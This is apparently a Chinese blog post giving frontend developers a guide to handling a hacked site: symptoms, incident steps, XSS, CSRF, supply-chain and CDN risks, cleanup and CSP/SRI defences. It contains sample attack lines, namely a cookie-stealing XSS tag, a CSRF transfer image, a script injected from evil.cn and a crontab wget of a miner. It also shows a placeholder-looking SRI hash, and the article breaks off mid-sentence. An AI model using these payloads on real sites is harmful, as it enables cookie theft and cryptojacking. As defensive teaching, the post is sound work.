网站被黑别慌！前端开发者自救指南（附排查清单+防御技巧）
- 网站被黑别慌！前端开发者自救指南（附排查清单+防御技巧）
- 一、你以为只有后端才配谈安全？醒醒，黑产早把你当软柿子了
- 二、网站被黑的 7 大“灵异现象”——别当浏览器抽风
- 三、救命四连环——先止血再谈破案
- 1. 立即下线
- 2. 留证据
- 3. 改密码
- 4. 广而告之
- 四、前端最容易被钻的 5 个“后门”——都是泪
- 1. XSS：不只是 alert(1)
- 2. 第三方库“投毒”
- 3. CDN 劫持
- 4. 开发神器变凶器
- 5. CSRF：借你之手买包包
- 五、排查神器 30 分钟速成——假装自己是黑客
- 1. DevTools 手动模式
- 2. 在线扫描
- 3. 脚本自动化
- 六、修复实战：把黑客留下的“屎山”扒干净
- 场景还原
- 修复步骤
- 七、前端也能搭的“立体防御”——别再裸奔
- 1. CSP 不是摆设，先写个最简版
- 2. SRI 给外链加锁
- 3. 前端“蜜罐”拖黑客时间
- 4. 本地存储别放敏感数据
- 八、别再踩的 6 个“ low 到爆”坑——跪着也要记住
网站被黑别慌！前端开发者自救指南（附排查清单+防御技巧）
友情提示：本文 5000+ 字，代码量管饱，吐槽量过载，建议收藏后找个没人的角落慢慢啃。—— 来自一个凌晨三点被老板电话吵醒、发现首页变成“澳门首家线上赌场上线啦”的前端幸存者。
一、你以为只有后端才配谈安全？醒醒，黑产早把你当软柿子了
先讲个真事儿。去年公司周年庆，我们组刚发完版，集体撸串 KTV 一条龙。凌晨两点，运维小哥在群里甩了张截图：首页被插了 58 行<script src="//bit.ly/xxx">，点开是个挖矿脚本，风扇直接起飞。老板当场醒酒：
“不是纯静态页吗？怎么还能被挖矿？”
—— 兄弟，CDN 被劫持、JS 被投毒、GitHub Pages 被批量扫爆，早就是黑产基操。别再说“我前端又没数据库，怕个球”，现在连README.md都能被挂马，就问你怕不怕。
被黑三大幻觉：
- 我站小，没人看得上。
- 我纯前端，没有攻击面。
- 我用的官方脚手架，官方兜底。
现实是：越小越容易被自动化脚本当肉鸡；前端暴露面多得你数不过来；官方脚手架可不会帮你把webpack-dev-server的--host 0.0.0.0给关了，公网裸奔一分钟，扫描器就上门。
二、网站被黑的 7 大“灵异现象”——别当浏览器抽风
- 打开页面先跳“澳门新葡京”，按 ESC 都停不下来。
- 控制台突然爆红
Mixed Content，多出一堆bit.ly、t.cn短链。 - Google 搜自家品牌，标题描述成了“在线发牌、美女荷官”。
- 用户群里有人反馈：刚输入密码就弹广告，还被手机管家报毒。
- 后台莫名其妙多出来“admin1”、“root2025”账号，权限还是 super。
- 服务器 CPU 100%，一看进程
kdevtmpfsi占满，经典挖矿木马。 - 百度资源平台短信：您的站点存在违法内容，已暂停搜索展现。
出现任意一条，别烧香拜佛，直接当“已被日”处理，按后文四步走，能救一个是一个 。
三、救命四连环——先止血再谈破案
1. 立即下线
静态站点：把index.html改名index.html.bak，CDN 回源 404，先挡住流量。
动态站点：nginx 一句return 503;，或者云厂商一键“维护模式”，别心疼 SEO，命要紧。
2. 留证据
整站打包tar -zcvf $(date +%F).tar.gz /var/www，别急着清日志，后续报案、溯源全靠它。
数据库也来一份mysqldump --single-transaction --master-data=2，被勒索了还能谈判：“哥，我备份全，不交钱。”
3. 改密码
顺序别乱：服务器 → 数据库 → CDN → 域名后台 → Git 仓库 → npm 邮箱。
弱密码字典 30G 的黑产大哥可不会等你慢慢改。
顺手开 2FA，短信不行就 TOTP，Google Authenticator 搞起，别嫌麻烦，半小时换一夜安眠。
4. 广而告之
用户、老板、甲方、广告渠道，群发“我们正维护，别点可疑链接”，越早说越显得专业。
等别人截图发到脉脉，你就从“受害者”变“背锅侠”。
四、前端最容易被钻的 5 个“后门”——都是泪
1. XSS：不只是 alert(1)
评论区直接innerHTML = userInput？恭喜，黑客一个<img src=x onerror="fetch('/steal?c='+document.cookie)">就把你 cookie 带到西伯利亚。
防御：
- 输出用
textContent，必须富文本就上白名单过滤（DOMPurify 一把梭）。 - CSP：
default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'。 - Cookie 加
HttpOnly+Secure+SameSite=Lax，前端 JS 摸不到，XSS 成瞎子。
2. 第三方库“投毒”
npm install 某UI库@latest爽歪歪，结果作者被钓鱼，发布 3 小时带后门版本，刚好被你 CI 拉取。
防御：
package-lock.json锁死版本，CI 里npm ci，拒绝install。- 私有源 + Snyk 扫描，
snyk test不过直接阻断流水线 。 - 关键库手动
npm view lodash@4.17.21 dist.shasum对哈希，别嫌娘，被黑一次更娘。
3. CDN 劫持
公共 CDN 域名没做 subresource integrity？黑客 DNS 污染一下，jquery 变矿机。
防御：
<scriptsrc="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"integrity="sha384-KyZXEJr3l+cdM6qCDd8Yg1xT11Vb4D7z/6Qd6K3P8V0dB5q9Y1p6s6s6s6"crossorigin="anonymous"></script>在线生成 SRI 工具：srihash.org，复制粘贴一分钟，省得半夜三点风扇起飞。
4. 开发神器变凶器
webpack-dev-server --host 0.0.0.0 --disable-host-check远程调试爽歪歪，扫你 8080 端口的脚本 30 秒一次，顺便把你的src/api/secret.js拖走。
防御：
- 开发机防火墙只开 127.0.0.1，必须局域网就
host: '192.168.x.x'，再加allowedHosts: ['company.local']。 - 生产禁用 source-map，webpack 里
devtool: false，别让对手一键还原你注释里的 API_KEY。
5. CSRF：借你之手买包包
用户登录后，黑客发邮件：“点我领红包”，链接其实是：
<imgsrc="https://yourbank.com/transfer?to=hacker&amount=9999">浏览器自动带 cookie，银行后端以为是用户自己操作。
防御：
- 后端验证
Origin/Referer，前端敏感接口加X-CSRF-Token。 - Cookie 加
SameSite=Strict，Chrome 直接拦截跨站 Cookie 。
五、排查神器 30 分钟速成——假装自己是黑客
1. DevTools 手动模式
- Network 面板搜
bit.ly、t.cn短链，看 302 跳转。 - Sources 全局搜
eval、atob、document.write，十有八九是混淆 Payload。 - Coverage 跑一遍，红色部分 99% 没用，却偷偷请求境外 IP？直接拉黑。
2. 在线扫描
- SecurityHeaders.com 一键测响应头，CSP、HSTS、X-Frame-Options 全不及格就标红 。
- Google Safe Browsing 查域名是否被标红，被标了就申请复审，别让用户一打开就是大红警告 。
- Sucuri SiteCheck 扫外链、黑链、隐藏 iframe，报告导出给老板，显得专业。
3. 脚本自动化
# 一键拉全站源码，grep 可疑关键字wget--mirror --convert-links --adjust-extension --page-requisites --no-parent https://example.comgrep-r"document.write(atob"example.com/||echo"clean"再写个简易 Node 脚本，对比 Git 历史：
import{execSync}from'child_process';constdiff=execSync('git diff --name-only HEAD~1 HEAD',{encoding:'utf8'});if(diff.includes('.js'))console.log('🚨 JS 文件异动',diff);挂到 GitHub Action，每次 push 自动跑，比人工盯靠谱。
六、修复实战：把黑客留下的“屎山”扒干净
场景还原
vue-cli 项目，用户反馈首页弹广告。排查发现public/index.html被追加：
<scriptsrc=https://evil.cn/m.js></script>且vue.config.js里多了一行：
config.plugin('define').tap(args=>{args[0]['process.env'].EVIL='"true"';returnargs;})黑客目的：往每个 chunk 都注入矿机脚本，CI 构建后自动上线，隐蔽性 MAX。
修复步骤
- 回滚代码
git reflog找到上一次正常 commit，强制回退：git reset --hard abc123 && git push -f。 - 改密钥
服务器、npm、GitHub、OSS、CDN 一个不落，1Password 随机 32 位走起。 - 锁 CI
把.github/workflows里的npm install全换成npm ci，加snyk test步骤，漏洞超 1 个高危直接 fail。 - 上 CSP
nginx 加一行：
哈希值用add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'sha256-abc123...' https://plausible.io; object-src 'none';" always;openssl dgst -sha256 -binary dist/js/app.xxx.js | openssl base64算，浏览器拒绝任何未授权脚本。 - 删矿机
服务器crontab -e发现定时任务wget -O /tmp/kinsing https://bit.ly/xxx && chmod +x，直接kill -9+rm -f，再查systemctl有无异常服务，一并清掉。 - 通知搜索引擎
Google Search Console 申请重新审核，百度站长平台提交“网站被黑申诉”，别让降权持续掉流量。
七、前端也能搭的“立体防御”——别再裸奔
1. CSP 不是摆设，先写个最简版
default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self';上线后把report-uri指向自家日志接口，每天收违规报告，谁被拦了心里有数。
2. SRI 给外链加锁
公司内网私服搭一份 jquery、lodash，CI 自动算 SRI，外部 CDN 挂掉也不心疼。
脚本示例：
constfs=require('fs');constcrypto=require('crypto');constfile=fs.readFileSync('dist/vendor/jquery.min.js');consthash=crypto.createHash('sha384').update(file).digest('base64');console.log(`integrity="sha384-${hash}"`);一条命令产出 integrity，复制进 HTML，完事。
3. 前端“蜜罐”拖黑客时间
登录页隐藏一个input name="password" style="display:none"，正常用户填不到，机器人却喜欢全自动填充。
JS 检测：
if(document.querySelector('input[name=password]').value){fetch('/report/bot',{method:'POST',body:JSON.stringify({ip,ua})});}抓到 IP 直接丢进云防火墙，薅羊毛的 bot 原地 403。
4. 本地存储别放敏感数据
localStorage.token = xxx最香？XSS 一血秒偷。
正确姿势：
- 短有效期 access_token 放内存，刷新页重新走 OAuth。
- 长有效期 refresh_token 放
httpOnlyCookie，SameSite 严格，前端 JS 摸不到。 - 支付、订单等高危操作再二次短信/指纹验证，别嫌麻烦，用户余额归零更麻烦。
八、别再踩的 6 个“ low 到爆”坑——跪着也要记住
- 把
.env提交 GitHub，还公开仓库。
扫描器 30 秒就能搜到VUE_APP_SECRET=akiiiiixxxxx，直接打你接口，免费额度瞬间烧光。 - 生产环境开
source-map，源码一览无余。
黑客连变量名都不用猜，接口路径、加密逻辑一键复刻。 - 图省事 `
欢迎来到我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。
推荐：DTcode7的博客首页。
一个做过前端开发的产品经理，经历过睿智产品的折磨导致脱发之后，励志要翻身农奴把歌唱，一边打入敌人内部一边持续提升自己，为我们广大开发同胞谋福祉，坚决抵制睿智产品折磨我们码农兄弟！
| 专栏系列（点击解锁） | 学习路线(点击解锁） | 知识定位 |
|---|---|---|
| 《微信小程序相关博客》 | 持续更新中~ | 结合微信官方原生框架、uniapp等小程序框架，记录请求、封装、tabbar、UI组件的学习记录和使用技巧等 |
| 《AIGC相关博客》 | 持续更新中~ | AIGC、AI生产力工具的介绍，例如stable diffusion这种的AI绘画工具安装、使用、技巧等总结 |
| 《HTML网站开发相关》 | 《前端基础入门三大核心之html相关博客》 | 前端基础入门三大核心之html板块的内容，入坑前端或者辅助学习的必看知识 |
| 《前端基础入门三大核心之JS相关博客》 | 前端JS是JavaScript语言在网页开发中的应用，负责实现交互效果和动态内容。它与HTML和CSS并称前端三剑客，共同构建用户界面。 通过操作DOM元素、响应事件、发起网络请求等，JS使页面能够响应用户行为，实现数据动态展示和页面流畅跳转，是现代Web开发的核心 | |
| 《前端基础入门三大核心之CSS相关博客》 | 介绍前端开发中遇到的CSS疑问和各种奇妙的CSS语法，同时收集精美的CSS效果代码，用来丰富你的web网页 | |
| 《canvas绘图相关博客》 | Canvas是HTML5中用于绘制图形的元素，通过JavaScript及其提供的绘图API，开发者可以在网页上绘制出各种复杂的图形、动画和图像效果。Canvas提供了高度的灵活性和控制力，使得前端绘图技术更加丰富和多样化 | |
| 《Vue实战相关博客》 | 持续更新中~ | 详细总结了常用UI库elementUI的使用技巧以及Vue的学习之旅 |
| 《python相关博客》 | 持续更新中~ | Python，简洁易学的编程语言，强大到足以应对各种应用场景，是编程新手的理想选择，也是专业人士的得力工具 |
| 《sql数据库相关博客》 | 持续更新中~ | SQL数据库：高效管理数据的利器，学会SQL，轻松驾驭结构化数据，解锁数据分析与挖掘的无限可能 |
| 《算法系列相关博客》 | 持续更新中~ | 算法与数据结构学习总结，通过JS来编写处理复杂有趣的算法问题，提升你的技术思维 |
| 《IT信息技术相关博客》 | 持续更新中~ | 作为信息化人员所需要掌握的底层技术，涉及软件开发、网络建设、系统维护等领域的知识 |
| 《信息化人员基础技能知识相关博客》 | 无论你是开发、产品、实施、经理，只要是从事信息化相关行业的人员，都应该掌握这些信息化的基础知识，可以不精通但是一定要了解，避免日常工作中贻笑大方 | |
| 《信息化技能面试宝典相关博客》 | 涉及信息化相关工作基础知识和面试技巧，提升自我能力与面试通过率，扩展知识面 | |
| 《前端开发习惯与小技巧相关博客》 | 持续更新中~ | 罗列常用的开发工具使用技巧,如 Vscode快捷键操作、Git、CMD、游览器控制台等 |
| 《photoshop相关博客》 | 持续更新中~ | 基础的PS学习记录，含括PPI与DPI、物理像素dp、逻辑像素dip、矢量图和位图以及帧动画等的学习总结 |
| 日常开发&办公&生产【实用工具】分享相关博客》 | 持续更新中~ | 分享介绍各种开发中、工作中、个人生产以及学习上的工具，丰富阅历，给大家提供处理事情的更多角度，学习了解更多的便利工具，如Fiddler抓包、办公快捷键、虚拟机VMware等工具 |
吾辈才疏学浅，摹写之作，恐有瑕疵。望诸君海涵赐教。望轻喷，嘤嘤嘤
非常期待和您一起在这个小小的网络世界里共同探索、学习和成长。愿斯文对汝有所裨益，纵其简陋未及渊博，亦足以略尽绵薄之力。倘若尚存阙漏，敬请不吝斧正，俾便精进！
